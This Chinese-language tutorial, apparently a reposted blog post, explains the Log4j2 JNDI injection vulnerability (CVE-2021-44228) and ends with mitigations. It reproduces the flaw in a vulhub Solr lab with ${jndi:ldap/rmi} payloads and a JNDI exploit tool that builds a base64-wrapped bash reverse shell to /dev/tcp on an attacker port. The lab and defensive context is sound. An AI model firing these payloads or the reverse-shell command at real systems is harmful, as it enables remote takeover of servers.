简介

        Apache Log4j2是一个基于Java日志记录工具,该日志框架被大量用于业务系统开发用来记录日志信息。

        Log4j2组件处理程序日志记录存在JNDI注入缺陷攻击者仅仅需要目标服务器发送精心构造恶意数据触发Log4j2组件解析缺陷,就可以实现目标服务任意命令执行获取目标服务权限

        由于日志记录存在的普遍性,所以该漏洞具有危害程度高、利用难度低、影响范围大、后续影响广的特点。可以预见,未来数月甚至数年该漏洞才能得到比较全面的修补。

        漏洞涉及CVE编号:CVE-2021-44228 CNVD-2021-95919

        漏洞影响版本:Apache log4j2 2.0 至 2.14.1 版本

        已知受影响应用组件,如 springbootstraterlog4j2 / Apache Solr / Apache Flink / Apache Druid等。

原理 

        org.apache.logging.log4j.core.pattern.MessagePatternConverter类的format()方法发现日志包含“${”就会将表达式内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行

        org.apache.logging.log4j.core.lookup.StrSubstitutor中提取参数通过lookup进行内容替换,当日志打印时遇到“${”后,Interpolator类以“:”号作为分割,将表达式内容分割两部分,前面部分作为prefix,后面部分作为key然后通过prefix去找对应lookup通过对应lookup实例调用lookup方法最后key作为参数带入执行。

        目前网络传播广泛的poc“${jndi:ldap://myip/exp}”,除了利用到log4j的递归解析,同样涉及到了jndi注入,所谓的JNDI注入就是当上文代码中jndi变量可控时引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。当这条语句被传入到log4j日志文件中,lookup会将jndi注入可执行语句执行,程序通过ldap协议访问myip这个地址然后myip就会返回一个包java代码class文件地址然后程序通过返回地址下载class文件并执行,从而达成漏洞利用目的。

        漏洞大致利用流程

        第一步:向目标发送指定payload目标对payload进行解析执行,然后通过ldap链接远程服务,当ldap服务收到请求之后,将请求进行重定向到恶意 java class地址

        第二步:目标服务器收到重定向请求之后,下载恶意class并执行其中的代码,从而执行系统命令

验证

        1、下载解压重命名vulhubmaster.zipvulhub

        

        2、进入漏洞环境下,启动环境

cd vulhub/log4j/CVE-2021-44228

dockercompose upd        启动环境

         3、访问目标靶场http://your-ip:8983

                 

        4、在Dnslog.cn生成接收信息的域名 。

                 

        5、提交dnslog payload 参数,进行访问

                

 http://your-ip:8983/solr/admin/cores?action=${jndi:ldap://nkvwta.dnslog.cn}

                 

        6、可以发现dnslog接收返回的信息,证明存在log4j2漏洞。

                 

 攻击

        1、下载工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar(在Tools目录下),下载地址

 https://github.com/bkfish/Apache-Log4j-Learning/

        2、进入工具所在目录下,利用工具构造payload(yourip攻击kaliip,6969指的是kali需要监听端口)

        javajar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bashc “{echo,bashi >& /dev/tcp/yourip/6969 0>&1}|{base64,-d}|{bash,-i}” -A yourip

        使用需要将红色部分进行base64加密

        3、如图所示生成了两种协议的payload参数(得到rmi、ldap参数) 

                 

         4、开启kali监听6969端口

                

        5、利用生成的协议参数构造payload,进行攻击

?action=${jndi:rmi://192.168.220.147:1099/iixqsf}

                

        6、Kali监听端口6969获取到目标权限

                 

 修复

        1、升级最新版本 :https://github.com/apache/logginglog4j2/releases/tag/log4j-2.15.0-rc2​​​​​​​

        建议同时采用如下临时措施进行漏洞防范:

        1.添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true

        2.在应用classpath添加log4j2.component.properties配置文件文件内容为log4j2.formatMsgNoLookups=true

        3.JDK使用11.0.1、8u191、7u201、6u211及以上的高版本

        4.部署使用第三方防火墙产品进行安全防护

 参考资料https://blog.csdn.net/qq_43798640/article/details/121951491

原文地址:https://blog.csdn.net/F2444790591/article/details/125684838

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_23860.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注